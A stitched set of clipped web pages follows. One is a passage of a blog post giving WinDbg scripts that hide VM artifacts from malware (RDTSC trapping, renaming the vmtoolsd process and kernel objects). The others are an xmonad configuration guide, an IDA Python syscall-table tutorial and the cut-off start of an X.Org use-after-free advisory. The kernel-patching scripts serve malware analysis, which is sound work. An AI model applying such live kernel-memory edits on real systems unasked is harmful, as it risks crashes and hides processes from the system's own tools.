script works in a similar way, but it doesn’t need a driver and it works in
x86 and x64 \(not sure if there are tools for this working on 64 bits\).

How it works: It enables flag 2 of cr4 \(TSD Time Stamp Disable\). In this way
RDTSC is a privileged instruction. After that, it enables the option in Windbg
for stopping when user mode exception occurs \(gflag +sue +soe, gflags
0x20000001\).

Then it enables capturing for 0xc0000096 exception \(privileged instruction
executed\). In this way, when RDTSC is executed by an application, a exception
will occur and windbg will catch the exception. In this moment, the script
checks the ins code of RDTSC, 0x310f. If it is a RDTSC instruction, it skips
the instruction, ip = ip+2. Finally it sets edx = 0, and eax =
last\_counter+1. Applications executing RDTSC will see an increment of 1 each
RDTSC execution.

<img src='img/temp15.jpg' width='590' height='321' alt='temp.jpg' />

The script:

>
[code]

>     $$set rdtsc as priv instruction, then catch
>     $$exceptions for priv instructions and skip
>     $$rdtsc(eip=eip+2) and set edx:eax = last rdtsc
>     $$returned value +1
>     $$use $t9 for counter
>  
>     r $t9 = 0
>  
>     $$rdtsc = privileged instruction
>  
>     r cr4 = cr4 | 4
>  
>     $$Stop on exception
>  
>     !gflag +soe
>  
>     $$Stop on unhandled user-mode exception
>  
>     !gflag +sue
>  
>     $$disable access violation (we have enabled exception
>     $$in user mode, and access violation will cause lot of
>     $$exceptions)
>  
>     sxd av
>  
>     $$we enable to catch privileged instructions execution
>     $$(we have converted rdtsc in priv ins with cr4)
>     $$in this moment we check if it is rdtsc, and in this case,
>     $$we jump over the instruction and we set eax=0 edx=0
>  
>     sxe -c ".if((poi(eip)&0x0000ffff)==0x310f){.printf \"rdtsc\r\n\";r eip =
> eip+2;r eax=@$t9;r edx=0;r $t9=@$t9+1; gh;}" c0000096
[/code]

# Script for renaming running process

Parameters: $$>a<change\_process\_name.wdbg <main module of the process>

Script:

https://github.com/vallejocc/windbg\_scripts/blob/master/change\_process\_name.wdbg

If we want a process will have a different name for toolhelp api for example,
we need to modify EPROCESS->SeAuditProcessCreationInfo.ImageFileName:

<img src='img/temp.png' width='575' height='165' alt='temp.jpg' />

The script receives as parameter the name of the main image of the process. It
searchs processes with that imagename and it changes the name increasing +1 to
the last letter. For example:

  * $$>a<change\_process\_name.wdbg vmtoolsd.exe

In this case the scripts will rename the vmtoolsd.exe -> vmtoolse.exe. When a
malware searchs for this process, it won’t find it. The renamed process
continues working with no problem.

<img src='img/temp13.jpg' width='700' height='499' alt='temp.jpg' />

The script:

>
[code]

>     aS stage @$t19
>  
>     .block
>     {
>      .sympath "SRV*c:\symcache*http://msdl.microsoft.com/download/symbols";
>      .reload
>     }
>  
>     .block
>     {
>        r stage = 2
>  
>        .printf "xxxx"
>  
>        .foreach (processes_tok { !process /m ${$arg1} 0 0 })
>        {
>          .if($scmp("${processes_tok}","PROCESS")==0)
>          {
>            .if(${stage}==2)
>            {
>              $$stage==2 is used to skip the first apparition of
>              $$PROCESS string in the results of !process 0 0
>  
>              r stage = 0
>            }
>            .else
>            {
>              r stage = 1
>            }
>          }
>          .elsif(${stage}==1)
>          {
>            .printf /D "<b>Renaming process ${processes_tok}</b>\n"
>  
>            r stage = 0
>  
>            r $t4 = ${processes_tok}
>  
>            r $t0 = @@c++( ( ( nt!_EPROCESS * ) @$t4
> )->SeAuditProcessCreationInfo.ImageFileName )
>            r $t1 = (poi @$t0)&0xffff
>            r $t2 = (poi (@$t0+2))&0xffff
>            r $t3 = (poi (@$t0+@@c++(#FIELD_OFFSET(nt!_UNICODE_STRING,
> Buffer))))
>            db ($t3 + $t1 - a)
>  
>            $$go to end of buffer of _UNICODE_STRING, and go back 0xa bytes.
>            $$For example <filepath....><lastbyte>.exe. We locate on
>            $$lastbyte, and we increase 1 the value of last byte
>            $$For example <fullpath>\vmtoolsd.exe, will be modified to
>            $$<fullpath>\vmtoolse.exe
>  
>            eb ($t3 + $t1 - a) ((poi($t3 + $t1 - a)&0xff)+1)
>  
>            !process @$t4 0
>  
>          }
>        }
>     }
[/code]

# Script for renaming kernel objects

Parameters: $$>a<change\_object\_name.wdbg <full object path + name>

Script:

https://github.com/vallejocc/windbg\_scripts/blob/master/change\_object\_name.wdbg

This script renames a object in kernel.

First, it gets the address of the \_OBJECT\_HEADER struct associated to the
object \(it gets the address from the results of the \!object command\).

After getting \_OBJECT\_HEADER, it can get \_OBJECT\_HEADER\_NAME\_INFO
structure at the address of \_OBJECT\_HEADER – 0x10 \(in x86\) or -0x20 \(in
x64\):

<img src='img/temp11.jpg' width='575' height='273' alt='temp' />

We must modify the \_UNICODE\_STRING into the \_OBJECT\_HEADER\_NAME\_INFO for
changing the object name.

A practical example, from pafish:

<img src='img/temp12.jpg' width='553' height='335' alt='temp.jpg' />

It tries to open a couple of devices. Really vmci is a device, and hgfs is a
symboliclink to a device. Anyway, both are kernel objects, they have a
\_OBJECT\_HEADER and a \_OBJECT\_HEADER\_NAME\_INFO.

We call the script:

  * $$>a<change\_object\_name.wdbg \global??\hgfs -> new name \global??\agfs
  * $$>a<change\_object\_name.wdbg \devices\vmci -> new name \devices\amci

<img src='img/temp14.jpg' width='700' height='752' alt='temp' />

When pafish tries to CreateFileA these devices, it fails and VM detection with
this trick fails.

The script:

>
[code]

>     aS stage @$t19
>     aS x64arch $t18
>     aS objhnameinfodisp $t17
>  
>     .block
>     {
>        .sympath
> "SRV*c:\symcache*http://msdl.microsoft.com/download/symbols";
>        .reload
>     }
>  
>     .block
>     {
>        $$is x64?
>        r x64arch = 0;
>        r objhnameinfodisp = 0x10;
>        .foreach( tok { .effmach } )
>        {
>          .if($scmp("${tok}","x64")==0)
>          {
>            r x64arch = 1;
>            r objhnameinfodisp = 0x20;
>            .break;
>          };
>        };
>     }
>  
>     r stage = 0
>  
>     .foreach( tok { !object "${$arg1}" } )
>     {
>        .printf "${tok}\r\n"
>  
>        .if(${stage}==1)
>        {
>          .echo ${tok}
>          dt _OBJECT_HEADER ${tok}
>          r $t0 = ${tok}
>          dt _OBJECT_HEADER_NAME_INFO (@$t0-${objhnameinfodisp})
>  
>          $$ $t0 -> OBJECT_HEADER_NAME_INFO
>          r $t0 = @$t0 - ${objhnameinfodisp}
>  
>          $$ $t0 -> OBJECT_HEADER_NAME_INFO.UNICODE_STRING
>          r $t0 = @$t0 + @@c++(#FIELD_OFFSET(_OBJECT_HEADER_NAME_INFO, Name))
>  
>          $$ $t0 -> OBJECT_HEADER_NAME_INFO.UNICODE_STRING.Buffer
>          r $t0 = @$t0 + @@c++(#FIELD_OFFSET(_UNICODE_STRING, Buffer))
>  
>          db poi $t0
>  
>          $$change the first letter for 'a'
>          eb (poi $t0) 'a'
>          .printf "--------------------\r\n"
>          db poi $t0
>          .break
>        }
>  
>        .if(${stage}==0)
>        {
>          .if($scmp("${tok}","ObjectHeader:")==0)
>          {
>              r stage = 1
>          }
>        }
>     }
[/code]

# To Be Continued…

For cases like registry keys \(HKLM\SOFTWARE\VMware, Inc.\VMware Tools,…\) or
files \(vmmouse.sys,…\), the fast way to avoid the detection is to
remove/rename the key or file being detected. VMware MAC address is used by
pafish too, but vmware lets you to modify the MAC of the adapter. Etc… I mean
some tricks can be skipped easier.

I would like to write other scripts for similar things like these. Devices or
processes in memory, etc… things that maybe they are more difficult to hide.

If I code more scripts I will update this post to add them with the
explanation.

I hope this information it is useful for you.

### Compártelo:

  * Twitter
  * Facebook
  * Google
  * 

### Like this:

 Like

Be the first to like this.

### _Related_

Loading and Debugging Windows Kernel Shellcodes with Windbg. Debugging
DoublePulsar Shellcode.In "Bugs"

Batch, attach and patch: using windbg's local kernel debugger to execute code
in windows kernelIn "Windbg"

Debugging programs with multiple processes with windbg's kernel mode
debuggerIn "Windbg"

  

# Xmonad/Config archive/John Goerzen's Configuration - HaskellWiki

**Created:**| _11/25/2009 10:34:48 AM_  
---|---  
**Updated:**| _11/25/2009 10:34:53 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

<img src='img/Temp2_9965.png' alt='HaskellWiki' />| Haskell | Wiki community | Recent changes  
Random page | Special pages | Not logged in  
Log in | Help  
---|---|---  
Request an account if you don't have one.

**Edit this page** | Discuss this page | Page history | What links here | Related changes  

# Xmonad/Config archive/John Goerzen's Configuration

< Xmonad | Config archive
Categories: XMonad configuration

I'm going to take you step-by-step through the process of configuring Xmonad,
setting up a status bar with xmobar, setting up a tray with trayer, and making
it all play nicely together. I use this exact configuration on everything from
a 1024x600 Eee PC to a 1920x1200 24" workstation, and it works well on all of
them.

I assume that you have read the About xmonad page as well as the xmonad guided
tour already.

Before you begin, here is a screenshot of my desktop:

<img src='img/Temp2_9967.png' width='200' height='150' />

And here is a screenshot that points out what I'm talking about when I talk
about the status bar and the tray:

<img src='img/Temp2_9966.png' width='200' height='150' />

  

## Contents

  * 1 Preliminaries
  * 2 Customizing xmonad
  * 3 Installing xmobar
  * 4 Configuring xmonad to use xmobar
  * 5 Configuring xmobar
    * 5.1 Adding Keyboard LED Indication
  * 6 Configuring Related Utilities
  * 7 Final Touches
  * 8 Tips on daily use
    * 8.1 Minimizing Windows
    * 8.2 Use of workspaces
  * 9 Trouble?

  
---  
\[edit\]

## 1 Preliminaries

First you'll want to install xmonad. You can find instructions for that on
xmonad.org. I'm going to assume xmonad 0.8 here.

This guide will work for any operating system. I happen to use Debian, so when
I talk about installing software, I can give you Debian commands. But you can
run xmonad all over the place; just substitute the appropriate commands for
your system.

To install xmonad on Debian sid, you can just run:

`apt-get install xmonad libghc6-xmonad-contrib-dev libghc6-xmonad-dev dwm-
tools`

This installs xmonad itself, everything you need to configure it, and dwm-
tools, which provides the Mod-P launching feature. If you're not on sid,
consult the xmonad download site \-- note that there are etch binaries there,
too. If you're downloading the etch binaries, you'll need the etch ghc6 and
libghc6-\*-dev\*.deb binaries as well.

Set up xmonad in your .xsession as directed in the xmonad guided tour. You
should have xmonad up and running before continuing.

\[edit\]

## 2 Customizing xmonad

So the first thing you will want to do is customize xmonad.

Make a directory called ~/.xmonad, and in there, create a file named
xmonad.hs. We'll start off with importing some of the utility modules we will
use:

[code]

    import XMonad
    import XMonad.Hooks.DynamicLog
    import XMonad.Hooks.ManageDocks
    import XMonad.Util.Run(spawnPipe)
    import XMonad.Util.EZConfig(additionalKeys)
    import System.IO
    
[/code]

Next, a basic configuration -- which is the same as the default -- is this:

[code]

    main = do
        xmonad $ defaultConfig
    
[/code]

Over at the how to write a config file page \-- which you should go read right
now -- there are instructions for testing your config file. You should be able
to save the above file, with the import lines plus the other two, and validate
it with ghci, then press Mod-q to load it up. Another way to validate your
xmonad.hs is to simply run \`xmonad --recompile' in a terminal. You'll see
errors if it's bad, and nothing if it's good.

Now how about something real? Replace the lines starting with main with:

[code]

    main = do
        xmonad $ defaultConfig
            { manageHook = manageDocks <+> manageHook defaultConfig
            , layoutHook = avoidStruts  $  layoutHook defaultConfig
            }
    
[/code]

\(Disclaimer: The author in reality does not use this 'comma first' style.
However, since it is the style used in xmonad, xmonad-contrib and most all
xmonad.hs files, he has kindly consented to allow your friendly wiki gardeners
to convert the original Haskell from 'comma last' style. This should make
copying pieces from other configs a bit easier.\)

Also, _ghc sees tab characters as eight spaces_ , so to prevent confusion
ensure your editor produces eight space tabs or expands tabs to spaces when
editing haskell files. XMonad convention is to always expand tabs and
\(mostly\) indent by four space increments. Wikibooks has a great explanation
of layout rules and indentation in haskell.

[code]

    -- real Goerzen config style
    main = do
      xmonad $ defaultConfig {
             manageHook = manageDocks <+> manageHook defaultConfig,
             layoutHook = avoidStruts  $  layoutHook defaultConfig
             }
    
[/code]

What this does is take the default configuration \(defaultConfig\) and modify
two aspects of it -- the manageHook and layoutHook. This particular recipe
comes from the Xmonad FAQ and adds the support we need for a status bar and
dock.

I'll show my completed file at the end of this page, but for now let's add a
few additional things in. By default, the Mod key is Alt, which is also used
in Emacs. Sometimes Emacs and xmonad want to use the same key for different
actions. Rather than remap every common key, I just change Mod to be the
Windows key that's between Ctrl and Alt. So I add this line after layoutHook:

[code]

            , modMask = mod4Mask     -- Rebind Mod to the Windows key 
    
[/code]

The two dashes are a comment to the end of the line.

I also want to bind Mod-Shift-z to lock my screen with the screensaver,
control-PrintScreen to take a snapshot of one window, and Printscreen to take
a snapshot of the entire screen. My config file, starting with main, now looks
like:

[code]

    main = do
        xmonad $ defaultConfig
            { manageHook = manageDocks <+> manageHook defaultConfig
            , layoutHook = avoidStruts  $  layoutHook defaultConfig
            , modMask = mod4Mask     -- Rebind Mod to the Windows key
            } `additionalKeys`
            [ ((mod4Mask .|. shiftMask, xK_z), spawn "xscreensaver-command -lock")
            , ((controlMask, xK_Print), spawn "sleep 0.2; scrot -s")
            , ((0, xK_Print), spawn "scrot")
            ]
    
[/code]

You can find the names for keys in the haskell-X11 source package in the files
Graphics/X11/Types.hsc and Graphics.X11.ExtraTypes.hsc.

To support screen capture, run apt-get install scrot. I will cover setting up
the screensaver later in this tutorial.

Did you notice the 0 in the xK\_Print line? The first part of the \(0,
xK\_Print\) tuple states what modifier keys \(ctrl, alt, etc.\) have to be
held down for a pattern to match. For the PrintScreen key, we don't need
anything to be held down, and the zero indicates that. The 'sleep' before
running the 'scrot -s' command is to leave time for keys to be released before
scrot -s tries to grab the keyboard.

\[edit\]

## 3 Installing xmobar

Next, it's time to get started with xmobar, the status bar. You can use xmobar
or dzen2. dzen2 probably has a few more features, but xmobar has lower
resource utilization and is considerably easier and more reliable to set up. I
found it does more than everything I need, and recommend it.

You can download xmobar from its homepage, linked to above. That page also has
compilation and installation instructions. As of Sept. 17, 2008, I also
maintain a Darcs tree. Most patches have been merged back as of xmobar 0.9.1,
but a couple patches that shorten the number formatting are unapplied. You can
download my tree and merge with the official tree with:

`darcs get http://darcs.complete.org/xmobar`

`darcs pull --repodir=xmobar --all http://code.haskell.org/xmobar`

If you darcs, apt-get install darcs or get it from your distribution or
darcs.net.

\[edit\]

## 4 Configuring xmonad to use xmobar

So, let's talk a little bit about how xmonad and xmobar fit together. You can
piece them together in several different ways.

xmobar accepts input on its stdin, which it can display at an arbitrary
position on the screen. It can also easily display other information. We want
xmonad to send xmobar the stuff that I have at the upper left of my
screenshot: information about available workspaces, current layout, and window
manager.

We could, then, have xmonad write this stuff to its stdout, and write `xmonad | xmobar` in ~/.xsession. But it's more elegant and useful, in my opinion, to have xmonad fire up xmobar itself. This is pretty simple. Our main part of xmonad.hs will now look like: 
[code]

        -- make sure to edit paths to xmobar and .xmobarrc to match your system.
        -- If xmobar is in your $PATH, and its config is in ~/.xmobarrc you don't
        -- need the xmobar path or config file, use: xmproc <- spawnPipe "xmobar"
     
    main = do
        xmproc <- spawnPipe "/path/to/xmobarbinary /home/jgoerzen/.xmobarrc"
        xmonad $ defaultConfig
            { manageHook = manageDocks <+> manageHook defaultConfig
            , layoutHook = avoidStruts  $  layoutHook defaultConfig
            , logHook = dynamicLogWithPP $ xmobarPP
                            { ppOutput = hPutStrLn xmproc
                            , ppTitle = xmobarColor "green" "" . shorten 50
                            }
            , modMask = mod4Mask     -- Rebind Mod to the Windows key
            } `additionalKeys`
            [ ((mod4Mask .|. shiftMask, xK_z), spawn "xscreensaver-command -lock")
            , ((controlMask, xK_Print), spawn "sleep 0.2; scrot -s")
            , ((0, xK_Print), spawn "scrot")
            ]
    
[/code]

We've added a line right after "main". We fire up xmobar, and pass to it a
command-line argument giving the path to its config file -- we will create
this file in a minute. Then we also define a logHook. We tell xmonad that the
way we get output to xmobar is with the command hPutStrLn xmproc -- this
transmits the data via a pipe to xmobar. We also tell it that we want to put
the first 50 characters of the window title in the title area.

_**When using hPutStrLn in your logHook make sure to add StdinReader to your
xmobarrc commands and template as described below or xmonadmay freeze when the
unread pipe fills up.**_

Save this and test it with ghci.

\[edit\]

## 5 Configuring xmobar

Now, before this will work, we have to configure xmobar. Here's a slightly
simplified version of what I use, which is mostly similar to the sample you
can find in the xmobar source package.

_For xmobar-0.9 or earlier_

[code]

    Config { font = "-*-Fixed-Bold-R-Normal-*-13-*-*-*-*-*-*-*"
           , bgColor = "black"
           , fgColor = "grey"
           , position = TopW L 90
           , commands = [ Run Weather "EGPF" ["-t"," <tempF>F","-L","64","-H","77","--normal","green","--high","red","--low","lightblue"] 36000
                        , Run Cpu ["-L","3","-H","50","--normal","green","--high","red"] 10
                        , Run Memory ["-t","Mem: <usedratio>%"] 10
                        , Run Swap [] 10
                        , Run Date "%a %b %_d %l:%M" "date" 10
                        , Run StdinReader
                        ]
           , sepChar = "%"
           , alignSep = "}{"
           , template = "%StdinReader% }{ %cpu% | %memory% * %swap%    <fc=#ee9a00>%date%</fc> | %EGPF%"
           }
    
[/code]

**Note** _**With 0.9 < xmobar-version <= 0.9.2**_ , _i.e. xmobar from your
distro or hackage \(cabal install\)_ , you will need to **add a lowerOnStart
line** just below position:

[code]

    Config { font = "-*-Fixed-Bold-R-Normal-*-13-*-*-*-*-*-*-*"
           , bgColor = "black"
           , fgColor = "grey"
           , position = TopW L 90
           , lowerOnStart = True
           ....<snip>
    
[/code]

**Note** _**With xmobar-version > 0.9.2**_ , _i.e. from darcs_ , fields you
leave out and will be replaced by the default, and the order doesn't matter.

First, I set the font to use for my bar, as well as the colors. The position
is documented well on the xmobar home page. This says to put my bar in the
upper left of the screen, and make it consume 90% of the width of the screen.

In the `commands` list you, well, define commands. The commands are the pieces
that generate the content that is available to display, which will later be
combined together in the template. I define a weather widget, a CPU widget,
memory and swap widgets, a clock, and of course the data from xmonad via the
StdinReader.

The template then combines them together. Stuff to be left-justified goes
before the **\}** character, things to be centered after it, and things to be
right justified after **\{**. I have nothing centered so there is nothing in
between them.

**Warning:** even though the config file uses Haskell syntax, it _doesn't
accept comments, allow you to change the field order, or drop fields_. This is
because xmobar uses `reads` to parse it.

Save that to ~/.xmobarrc. Now you should be able to press Mod-q and have
xmonad load up xmobar, and have it work.

Replace both occurrences of EGPF with your choice of ICAO weather stations.
There is a list of ICAO station codes maintained at ucar.edu. You can of
course monitor more than one if you like, see the xmobar home page for more
details.

\[edit\]

### 5.1 Adding Keyboard LED Indication

My 9.1" Eee doesn't have capslock or numlock lights. Before xmonad, I had an
applet to do that, but that's not very efficient now. If you want this, read
this section, otherwise skip it.

You'll need two pieces of software for this to work:

1\) xmobar >= 0.9.1

2\) My ledmon tool, which you can obtain with:

`git clone git://git.complete.org/ledmon`

Or download from its gitweb page.

The CommandReader plugin will be used, which will cause xmobar to fork off
ledmon. I compiled ledmon and put the binary in ~/.xmonad/ledmon, then
modified my ~/.xmobarrc to look like this:

[code]

    Config { font = "-*-Fixed-Bold-R-Normal-*-13-*-*-*-*-*-*-*"
           , bgColor = "black"
           , fgColor = "grey"
           , position = TopW L 90
           , commands = [ Run Weather "EGPF" ["-t"," <tempF>F","-L","64","-H","77","--normal","green","--high","red","--low","lightblue"] 36000
                        , Run Cpu ["-L","3","-H","50","--normal","green","--high","red"] 10
                        , Run Memory ["-t","Mem: <usedratio>%"] 10
                        , Run Swap [] 10
                        , Run Date "%a %b %_d %l:%M" "date" 10
                        , Run StdinReader
                        , Run CommandReader "/home/jgoerzen/.xmonad/ledmon" "LED"
                        ]
           , sepChar = "%"
           , alignSep = "}{"
           , template = "%StdinReader% }{ <fc=#ffff00>%LED%</fc> %cpu% | %memory% * %swap%    <fc=#ee9a00>%date%</fc> | %EGPF%"
           }
    
[/code]

That's all there is to it.

\(for newer versions than xmobar-0.9, add lowerOnStart\)

\[edit\]

## 6 Configuring Related Utilities

So now you've got a status bar and xmonad. We still need a few more things: a
screensaver, a tray for your apps that have tray icons, a way to set your
desktop background, and the like.

For this, we will need a few pieces of software.

`apt-get install trayer xscreensaver`

If you want the Gajim instant messenger client, a battery meter, and a network
applet, also:

`apt-get install gajim nm-applet gnome-power-manager`

First, configure xscreensaver how you like it with the xscreensaver-demo
command. Now, we will set these things up in ~/.xsession. Your .xsession may
wind up looking like this:

[code]

    #!/bin/bash
     
    # Load resources
     
    xrdb -merge .Xresources
     
    # Set up an icon tray
     
    trayer --edge top --align right --SetDockType true --SetPartialStrut true \
     --expand true --width 10 --transparent true --tint 0x191970 --height 12 &
     
    # Set the background color
     
    xsetroot -solid midnightblue
     
    # Fire up apps
     
    gajim &
     
    xscreensaver -no-splash &
     
    if [ -x /usr/bin/nm-applet ] ; then
       nm-applet --sm-disable &
    fi
     
    if [ -x /usr/bin/gnome-power-manager ] ; then
       sleep 3
       gnome-power-manager
    fi
     
    exec xmonad
    
[/code]

This uses xsetroot to set my background color. It can also use images; see its
manpage for more.

Then we fire up trayer, the icon tray. The options tell it to go on the top
right, with a default width of 10% of the screen \(to nicely match up with the
status bar, which we set to a width of 90% of the screen\). We give it a color
and a height.

Then we fire up gajim, the screensaver daemon, and if installed, the network
manager applet and the power manager.

Finally, we start xmonad.

Mission accomplished\!

\[edit\]

## 7 Final Touches

There may be some programs that you don't want xmonad to tile. The classic
example is Gimp. It pops up all sorts of new windows all the time, and they
work best at defined sizes. It makes sense for xmonad to ignore them. Over at
the general tips page, there are suggestions on how to accomplish this. The
xmonad FAQ has instructions on using xprop to find the class \(or other
properties\) of your window.

We are going to compose a list like so:

[code]

    myManageHook = composeAll
        [ className =? "Gimp"      --> doFloat] 
    
[/code]

I also don't want xmonad to tile the VNC viewer, because I want to manage its
size myself. Very well; I can add it:

[code]

    myManageHook = composeAll
        [ className =? "Gimp"      --> doFloat
        , className =? "Vncviewer" --> doFloat
        ]
    
[/code]

Now, we tie that in with what we're already doing for the manageHook, so our
manageHook bit of main looks like:

[code]

        xmonad $ defaultConfig
            { manageHook = manageDocks <+> myManageHook
                            <+> manageHook defaultConfig
    
[/code]

The full ~/.xmonad/xmonad.hs now looks like this:

[code]

    import XMonad
    import XMonad.Hooks.DynamicLog
    import XMonad.Hooks.ManageDocks
    import XMonad.Util.Run(spawnPipe)
    import XMonad.Util.EZConfig(additionalKeys)
    import System.IO
     
    myManageHook = composeAll
        [ className =? "Gimp"      --> doFloat
        , className =? "Vncviewer" --> doFloat
        ]
     
    main = do
        xmproc <- spawnPipe "/path/to/xmobarbinary /home/jgoerzen/.xmobarrc"
        xmonad $ defaultConfig
            { manageHook = manageDocks <+> myManageHook -- make sure to include myManageHook definition from above
                            <+> manageHook defaultConfig
            , layoutHook = avoidStruts  $  layoutHook defaultConfig
            , logHook = dynamicLogWithPP $ xmobarPP
                            { ppOutput = hPutStrLn xmproc
                            , ppTitle = xmobarColor "green" "" . shorten 50
                            }
            , modMask = mod4Mask     -- Rebind Mod to the Windows key
            } `additionalKeys`
            [ ((mod4Mask .|. shiftMask, xK_z), spawn "xscreensaver-command -lock")
            , ((controlMask, xK_Print), spawn "sleep 0.2; scrot -s")
            , ((0, xK_Print), spawn "scrot")
            ]
    
[/code]

\[edit\]

## 8 Tips on daily use

Here are a few things that occurred to me as I was learning xmonad.

\[edit\]

### 8.1 Minimizing Windows

xmonad doesn't have a "minimize" feature. So I've designated workspace 9 for
this purpose. When I want to hide a window, I Mod-Shift-9 it. That makes it go
away. When I want it back, it's Mod-9, the Mod-j or Mod-k to select it, then
Mod-Shift-1 Mod-1 or whatnot to zip it back and go back. It works surprisingly
well.

\[edit\]

### 8.2 Use of workspaces

I used to use KDE, and I used workspaces there too. But with the ability to so
easily zip windows around to different workspaces, and to instantaneously
change between them using only the keyboard, it's a lot easier to use.

Also, I find myself not wanting to have quite as many windows open on a given
desktop at once. I generally have desktop 1 be for shells, 2 for email/IM, 3
for web, and 9 for music/minimized stuff. But I'm just learning this so far,
and may find a better way. Don't hesitate to try different ways of organizing
and use what works for you.

\[edit\]

## 9 Trouble?

Check ~/.xsession-errors first.

Retrieved from
"http://haskell.org/haskellwiki/Xmonad/Config\_archive/John\_Goerzen%27s\_Configuration"

This page has been accessed 50,299 times. This page was last modified 07:10,
12 October 2009. Recent content is available under a simple permissive
license.

Recent content is available under a simple permissive license.  

# Mindsha RE : Walking the Windows Kernel with IDA Python

**Created:**| _5/25/2018 10:43:17 AM_  
---|---  
**Updated:**| _5/25/2018 10:43:17 AM_  
**Author:**| _wishi_  
**Tags:**| _iDA_  
  

  

#  MindshaRE: Walking the Windows Kernel with IDA Python

May 22, 2018 | Jasiel Spelman
SUBSCRIBE

When I attend security conferences, I enjoy talking to people about how they
augment their own reverse engineering efforts. It is always beneficial to find
out how others automate tedious tasks. One thing that often surprises me is
that many people using IDA don't use the included APIs to augment their
efforts. To try and change that, I'm going to start sharing some of my code
and demonstrate some of the things you can accomplish with IDA and Python.

As an introduction to IDA Python, I'm going to show how you can enumerate the
Windows System Call tables.

For those that don't know, all system calls on Windows are given an ID. This
ID is a unique value that is used to specify the function you would like to
call when performing a system call. These IDs can vary heavily across
different versions of Windows and especially across service packs. As of
Windows 10, they can vary across release branches. For normal applications
this isn't a big deal as the userland libraries will always match to use the
appropriate ID for the system you're on.

If you're analyzing an exploit or if you're attempting to directly make system
calls yourself, this may not be the case. As a consequence, it is handy to
know which IDs map to which functions for a given OS version. For a long time,
referencing one of the tables that Mateusz Jurczyk hosts on his site was the
easiest way, but if you're wanting a version not present there, you'll need to
know how to do it yourself.

I'll quickly explain how to enumerate the tables manually, then we'll go over
automatically handling it with Python.

**Manually Enumerating Windows System Call Tables**

There are three important symbols for parsing the system call tables: the base
of the table, the size of the table, and the number of bytes the arguments
take on the stack. For `ntoskrnl.exe`, the names of these symbols are
`KiServiceTable`, `KiServiceLimit`, and `KiArgumentTable` respectively. For
`win32k.sys`, the names of these symbols are `W32pServiceTable`,
`W32pServiceLimit`, and `W32pArgumentTable`. On 32-bit builds, these symbol
names are prepended with an underscore.

As an example, let's look at Windows 7 64-bit. This is from `ntoskrnl.exe`
version 6.1.7601.24117.

<img src='img/01-Win7x64-KiServiceLimit.png' width='1500' height='78' alt='
Figure One - KiServiceLimit  ' />

_Figure One - KiServiceLimit_

Based on this, we can see that there are 401 \(0x191\) system calls.

<img src='img/7051_?format=1500w.png' width='576' height='136' alt='  Figure
Two - KiServiceTable  ' />

_Figure Two - KiServiceTable_

If we look at the table in Figure 2, we can manually map the functions to
their IDs. Based on what we see above, `NtMapUserPhysicalPagesScatter` has an
ID of 0x0000, `NtWaitForSingleObject` is 0x0001, `NtCallbackReturn` is 0x0002,
and so forth.

There are two special cases we need to handle. If we are looking at
`win32k.sys`, the ID will be the index of the function within the table plus
0x1000. Also, on 64-bit builds for Windows 10 as of Windows build 1607 need to
be handled differently. In these builds, the system call table contains
offsets to the functions as four-byte values rather than as eight-byte values.

This is from `ntoskrnl.exe` version 10.0.17134.48:

<img src='img/03-Win10x64-KiServiceTable.png' width='576' height='82' alt='
Figure Three - KiServiceTable  ' />

_Figure Three - KiServiceTable_

Handling this just means that we need to read four bytes at a time and then
add it to the base address.

**Automating Mapping Within IDA**

Let's first go over the IDA functions we will need to call:

\- `idaapi.get_imagebase` \- This function will return the base address within
the module we're looking at.  
\- `idc.GetInputFile` \- This function will return the name of the file the
IDB was loaded for.  
\- `idc.BADADDR` \- This is a constant value that maps to -1 as an unsigned
integer \(it can also be used to test whether we're in 32-bit mode or 64-bit
mode\)  
\- `idc.Name` \- This function will return the name of a given address.  
\- `idc.LocByName` \- The inverse of idc.Name, this function will return the
address of a given name.  
\- `idc.Dword` \- This function will return the four-byte value at a given
address.  
\- `idc.Qword` \- This function will return the eight-byte value at a given
address.  
\- `idautils.DataRefsFrom` \- This function will enumerate through any data
references from a given address.

We'll start off by ensuring we are looking at either `ntoskrnl.exe` or
`win32k.sys`:

<img src='img/04-GetInputFile.png' width='576' height='82' alt='  Figure Four
-&nbsp;GetInputFile  ' />

_Figure Four - GetInputFile_

We can then determine which symbol names we need to use. Next, we need to test
to see if we need to use the underscore variants:

<img src='img/05-LocByName.png' width='576' height='173' alt='  Figure Five -
LocByFile  ' />

_Figure Five - LocByFile_

`LocByName` will return `BADADDR` if the name does not exist, so we can use it
to test if the symbol name exists with or without the underscore.

Now that we have the correct symbol names to use, let's grab the actual size
of the table:

<img src='img/06-Limit.png' width='534' height='66' alt='  Figure Six - Limit
' />

_Figure Six - Limit_

First we get the address with `LocByName`, then we grab the value at the
address with `Dword`.

Last corner case to handle, the Windows 10 64-bit case:

<img src='img/07-DataRefsFrom.png' width='576' height='133' alt='  Figure
Seven -&nbsp;DataRefsFrom  ' />

_Figure Seven - DataRefsFrom_

`DataRefsFrom` will iterate through the data references at the base of the
table. There should be one, unless we're looking at one of the newer versions
of Windows 10. When looking at those newer Windows 10 builds, we'll just need
to make sure we add the base address of the image, which we'll get with
`get_imagebase`.

At this point, all we need to do is read consecutive values starting from the
table base. We can use `Qword` for 64-bit versions \(outside of newer builds
of Windows 10\) and `Dword` for 32-bit versions.

Here's an example of what this can print out:

<img src='img/08-Results.png' width='446' height='124' alt='  Figure Eight -
Results  ' />

_Figure Eight - Results_

You can see a full copy of this code on our Github page here.

**Conclusion**

Reverse engineering software can be tedious at times, but automating tasks can
take away some of that tedium. I hope you've enjoyed this blog post, look out
for future blog posts on IDA and Python. Until then, you can find me on
Twitter at @WanderingGlitch, and follow the team for the latest in exploit
techniques and security patches.

  

# X.Org security advisory: CVE-2013-4396: Use after free in Xserver handling
of ImageText requests

**Created:**| _10/10/2013 11:01:30 AM_  
---|---  
**Updated:**| _10/10/2013 11:01:30 AM_  
**Author:**| __  
**Tags:**| _Exploit Linux LOLZ_  
  

[code]

    X.Org Security Advisory: October 8, 2013 - CVE-2013-4396
    Use after free in Xserver handling of ImageText requests
    ========================================================
    
    Description:
    ============
    
    Pedro Ribeiro (pedrib at gmail.com) reported an issue to the X.Org security
    team in which an authenticated X client can cause an X server to use memory
    after it was freed, potentially leading to crash and/or memory corruption.
    
    Affected Versions
    =================
    
    This bug appears to have been introduced in RCS version 1.42 on 1993/09/18,
    and is thus believed to be present in every X server release starting with
    X11R6.0 up to the current xorg-server 1.14.3.  (Manual inspection shows it
